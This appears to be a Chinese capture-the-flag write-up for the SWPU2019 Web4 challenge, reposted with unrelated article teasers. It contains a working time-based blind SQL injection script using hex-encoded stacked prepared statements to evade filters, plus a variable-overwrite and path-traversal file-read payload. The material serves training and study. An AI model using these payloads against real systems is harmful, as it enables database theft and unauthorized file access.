[SWPU2019]Web4

[SWPU2019]Web4

PDO注入(堆叠注入)

  • 首先发现一个登录框,但是不能注册
  • 进行抓包,发现json数据格式,猜测可能是sql注入或者xxe漏洞
    image.png
  • 输入 ’ 报错,但是输入"或者‘ “ 不报错->猜测为堆叠注入[[mysql-堆叠注入]]
    名称处加单引号报错,加双引号不报错,加单引号和分号不报错,说明存在堆叠注入。
  • 因为过滤了很多关键字,尝试使用预处理语句加hex编码绕过
set @sql=concat('sele','ct * fr','om Fl','ag');
prepare xxx from @sql;
execute xxx;
//把'sele','ct * fr','om Fl','ag'联合放入@sql中
//prepare aaa from @sql;从@sql调制东西放入aaa中;//
//EXCUTE aaa;执行aaa;

payload

import requests  
import time  
import json  
  
def str_to_hex(str_str):  
a=''.join([hex(ord(c)).replace('0x', '') for c in str_str])  
return '0x'+a  
  
  
url = 'http://467789dd-f8c9-4666-878e-bb49efded6fd.node5.buuoj.cn:81/index.php?r=Login/Login'  
flag = ''  
payloads="admin';set @a={0};prepare test from @a;execute test;"  
# set @a=0x73656C65637420736C65657028313029;prepare test from @a;execute test;  
  
for i in range(1,1000):  
high = 127  
low = 0  
mid = (low + high) // 2  
while high > low:  
# payload=f"select(group_concat(table_name))from(infoRmation_schema.tables)where(table_schema)like(database())"  
# payload = f"select if(ascii(substr(database(),{i},1))>{mid},sleep(2),1)" #查库名  
# payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)" #查库名  
# payload = f"select if(ascii(substr((seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)like('ctf')),{i},1))>{mid},sleep(2),1)#" #查表名  
# payload = f"select if(ascii(substr((seleCt(group_concat(column_name))from(information_schema.columns)where(table_name)like('flag')),{i},1))>{mid},sleep(2),1)#" #查列名  
payload = f"select if(ascii(substr((select(flag)from flag),{i},1))={mid},sleep(3),1)#" #查数据  
# payload = f"1/**/and/**/if(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid},sleep(2),1)#" #查所有数据库名  
# payload=f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})#'  
# data = {  
# "id":payload  
# }  
# proxies = {'http': '127.0.0.1:8080'}  
# print(payload)  
print(payloads.format(str_to_hex(payload)))  
data={  
"username": payloads.format(str_to_hex(payload)),  
"password": "12345"  
}  
data=json.dumps(data)  
# print(data)  
time.sleep(0.1)  
last = int(time.time())  
response = requests.post(url=url,data=data)  
now = int(time.time())  
if now - last > 1.5 :  
low = mid + 1  
else :  
high = mid  
mid = (low + high) // 2  
if low != 0 :  
flag += chr(int(low))  
else:  
break  
print(flag)

代码审计

  • 首先查看控制器的BaseController.php,根据名字是基类
  • 发现,变量覆盖函数extract(),对第二个参数进行覆盖,所以要得到调用该函数,且第二个参数可控的地方
    image.png
  • 直接ctr+shift+f,搜索这个函数出现的地方,进行查找,发现只有控制器下的UserController.php有满足条件的
    image.png
  • actionList函数下的还经过了一个类,估计不行。先看actionIndex,发现他对于的页面是userIndex提供的,进去看看
  • 这里会输出文件的base64加密的数据,我们可以对img_file进行变量覆盖,因为ListData变量来源于$_REQUEST,可以直接使用请求传入变量
    image.png
  • 来个路由规则
// 路由控制跳转至控制器  
if(!empty($_REQUEST['r']))  
{  
   $r = explode('/', $_REQUEST['r']);  
   list($controller,$action) = $r;  
   $controller = "{$controller}Controller";  
   $action = "action{$action}";  
  
  
   if(class_exists($controller))  
   {  
      if(method_exists($controller,$action))  
      {  
         //  
      }  
      else  
      {  
         $action = "actionIndex";  
      }  
   }  
   else  
   {  
      $controller = "LoginController";  
        $action = "actionIndex";  
   }  
    $data = call_user_func(array( (new $controller), $action));  
} else {  
    header("Location:index.php?r=Login/Index");  
}


1. 首先检查是否存在`$_REQUEST['r']`,即请求中是否包含了路由参数。
2. 如果存在路由参数,则将其按照`/`进行分割,得到控制器和方法名称。
3. 然后将控制器名后面加上"Controller",将方法名前面加上"action",以符合通常的命名约定。
4. 检查是否存在对应的控制器类,如果存在,则继续判断是否存在对应的方法。
5. 如果找到了对应的控制器和方法,就准备执行相关操作。
6. 如果找不到对应的方法,则默认执行`actionIndex`方法。
7. 如果找不到对应的控制器类,就将控制器设置为`LoginController`,方法设置为`actionIndex`8. 最后,使用`call_user_func`函数调用相应的控制器和方法,并将结果存储在`$data`变量中。
9. 如果请求中没有包含路由参数,则将页面重定向到 `index.php?r=Login/Index`
  • 所以这里构造:路由为index.php?r=User/Index
  • 所以最后
    payload
GET: index.php?r=User/Index
POST: img_file=/../flag.php

进行base64解码
image.png
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/470980.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

6.shell中的计算

目录 概述实践shell结果 结束 概述 shell中计算 实践 shell #!/bin/bash # 计算 expr、let 都只能用于整形计算a3 bexpr $a 3 echo "b$b" cexpr $b / 3 echo "c$c"# let 命令 表达式 let "a10" echo "a10$a" let "a/10&quo…

拓展商城系统的未来:微服务维度的创新之路

随着电子商务的快速发展,传统的单体式商城系统在应对日益复杂的业务需求和用户体验方面逐渐显露出局限性。而基于微服务架构的商城系统,通过多维度的拆分和组合,正在为商城行业带来全新的创新和发展机遇。本文将深入探讨微服务维度下的商城系…

查找众数及中位数 - 华为OD统一考试(C卷)

OD统一考试(C卷) 分值: 100分 题解: Java / Python / C 题目描述 众数是指一组数据中出现次数量多的那个数,众数可以是多个。 中位数只是指把一组数据从小到大排列,最中间的那个数,如果这组数…

罗德与施瓦茨 FSU8频谱分析仪

181/2461/8938产品概述: Rohde & Schwarz FSU8是一款高性能频谱分析仪,在相位噪声、动态范围和测量精度方面具有出色的性能,可应对航空航天和国防领域的任何射频分析挑战,也可用于高达8 GHz的一般微波应用。 为了处理产品开…

端口如何映射到外网?

在现代信息化社会中,远程访问已经成为人们工作和生活中不可或缺的一部分。复杂的网络环境和网络限制可能会给远程连接带来不便。在这种情况下,端口映射到外网的技术应运而生。本文将介绍端口映射到外网的概念、应用场景以及一种优秀的解决方案——【天联…

五、C#归并排序算法

简介 归并排序是一种常见的排序算法,它采用分治法的思想,在排序过程中不断将待排序序列分割成更小的子序列,直到每个子序列中只剩下一个元素,然后将这些子序列两两合并排序,最终得到一个有序的序列。 归并排序实现原…

vue+elementui中table实现单选行功能

el-table插件可以选择行,但是只能多选,而项目中有单选的需求。 效果如下图所示,点击行或者点击复选框都可以选中行(高亮,复选框选中),并且每次只选中当前行,之前选中的行清空。点击标…

Spring-Mybatis字段映射

MybatisComfig.xml文件设置 <settings><setting name"mapUnderscoreToCamelCase" value"true"/> </settings> 完成全局配置将数据库下划线映射为驼峰式命名

螺栓的规格型号及表示方法——SunTorque智能扭矩系统

螺栓作为一种重要的紧固件&#xff0c;广泛应用于各种机械、设备和建筑结构中。了解和掌握螺栓的规格型号及表示方法对于正确选择和使用螺栓具有重要意义。本文SunTorque智能扭矩系统将详细介绍螺栓的规格型号及表示方法&#xff0c;帮助读者更好地理解和应用相关知识。 螺栓是…

两个免费的wordpress主模板

wordpress免费网站主题 蓝色高端大气上档次的wordpress免费网站主题&#xff0c;首页大图wordpress模板。 https://www.wpniu.com/themes/31.html WP免费模板 用粉色高端大气上档次的WP免费模板&#xff0c;建个网站也不错的。 https://www.wpniu.com/themes/16.html

海外版大宗商品现货交易系统开发/现货新篇

全球视野&#xff0c;现货新篇——揭秘海外版大宗商品现货交易系统的创新之旅 在全球化的大潮中&#xff0c;大宗商品现货交易早已成为各国经济发展的重要支柱。随着技术的日新月异&#xff0c;传统的交易方式已难以满足市场的多元化需求。而在这个背景下&#xff0c;我们隆重…

稀碎从零算法笔记Day22-LeetCode:

题型&#xff1a;链表 链接&#xff1a;2. 两数相加 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;Leet 题目描述 给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 …

如何在Linux系统中确定CPU架构

在Linux环境中&#xff0c;了解系统所采用的CPU架构对于安装兼容软件、配置系统性能优化等方面至关重要。本文将介绍三种简单有效的方法来查询Linux系统的CPU架构。 方法1&#xff1a;使用lscpu命令 运行如下命令&#xff0c;可以快速获取CPU架构信息&#xff1a; lscpu | g…

Python内置对象

Python是一种强大的、动态类型的高级编程语言&#xff0c;其内置对象是构成程序的基础元素。Python的内置对象包括数字、字符串、列表、元组、字典、集合、布尔值和None等&#xff0c;每种对象都有特定的类型和用途。 01 什么是内置对象 这些对象是编程语言的基础构建块&…

Linux环境变量【终】

&#x1f30e;环境变量 文章目录&#xff1a; 环境变量 环境变量的组织方式 创建自己的环境变量       main函数参数       C语言提供的变量与接口 环境变量与本地变量 了解本地变量       取消本地变量和环境变量 环境变量的出处 总结 前言&#xff1a; 上…

Css提高——Css3盒子模型border-box

1、盒子模型的种类与区别 CSS3 中可以通过 box-sizing 来指定盒模型&#xff0c;有2个值&#xff1a;即可指定为 content-box、border-box&#xff0c;这样我们 计算盒子大小的方式就发生了改变。 CSS3 盒子模型 可以分成两种情况&#xff1a; 1. box-sizing: content-box 盒…

【机器学习智能硬件开发全解】(九)—— 政安晨:通过ARM-Linux掌握基本技能【C语言程序的预处理过程】

政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 收录专栏: 机器学习智能硬件开发全解 希望政安晨的博客能够对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff01; C语言程序的预处理过程是在编译阶段之前进行的&#x…

UE5中各类型的英文名称缩写(直接用于文件前缀)

真正开发项目时用到的素材文件是相当巨量的&#xff0c;在资产中查找时由于不区分文件夹&#xff0c;因此查找是比较头疼的&#xff0c;所以很多同类型的文件名命名时要加入缩写。 本文提供初学者内容包中的缩写&#xff0c;并会在此后陆续加入自定义的缩写&#xff08;本部分…

css实现的3D立体视觉效果鸡蛋动画特效

这是一个基于纯css实现的3D立体视觉效果鸡蛋动画特效&#xff0c;喜欢的朋友可以拿来使用演示动态效果 css实现的3D立体视觉效果鸡蛋动画特效

Intellij IDEA--解决git的master分支不能force push的问题

原文网址&#xff1a;Intellij IDEA--解决git的master分支不能force push的问题-CSDN博客 简介 本文介绍Intellij IDEA怎样解决git的master分支不能force push的问题。 问题复现 解决方法 把保护分支里删除master